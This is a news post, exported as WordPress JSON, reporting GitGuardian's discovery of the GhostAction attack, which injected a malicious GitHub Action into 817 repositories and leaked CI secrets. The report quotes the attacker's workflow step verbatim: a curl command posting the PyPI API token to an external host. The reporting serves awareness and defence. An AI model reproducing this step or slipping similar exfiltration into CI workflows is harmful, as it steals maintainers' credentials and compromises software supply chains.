{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"During the GhostAction attack, 817 repositories on GitHub were compromised.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Researchers from GitGuardian have uncovered a massive attack on GitHub users, during which control was gained over 327 accounts, and a malicious GitHub Action handler was injected into 817 repositories. This attack led to the leak of 3,325 secrets used in continuous integration systems and transmitted through environment variables, including access tokens for PyPI, GitHub, NPM, DockerHub, and various cloud storage services.
<\/center> <\/p>\n
GitHub Actions allows code developers to attach handlers for automating various operations in GitHub. For example, with GitHub Actions, specific checks and tests can be performed during commits or the handling of new Issues can be automated. A malicious handler was distributed under the name 'Github Actions Security' and included the command 'curl' in the 'run' section, which sent the contents of environment variables to an external host when tasks were executed in a continuous integration environment. The malicious commit was added using accounts of project maintainers, which had likely been hacked or fallen victim to phishing. <\/p>\n
The attack was identified after investigating unusual activity related to the FastUUID package, which provides a Python wrapper over the Rust UUID library. The FastUUID package, which recorded nearly 1.2 million downloads in the last week, is used as a dependency in the popular LiteLLM project, which has over 5 million downloads per week on PyPI. An analysis of changes in the FastUUID repository showed that on September 2, a project maintainer added a commit with a new Github Action handler that contained code to send the token to the PyPI repository to an external host. - name: Github Actions Security run: | curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
The issue was identified before the attackers could exploit the intercepted token \u2014 no malicious changes or modified versions of the FastUUID package have been published to PyPI. Similar Github Action substitutions have been identified in another 816 repositories, and notifications have been sent to their owners as well as to the administration of PyPI, GitHub, NPM, and DockerHub. As of last night, the malicious commits have been reverted in about 100 repositories. Currently, 671 commits with malicious Github Action are identified when searching in GitHub. \n Source: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"During](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n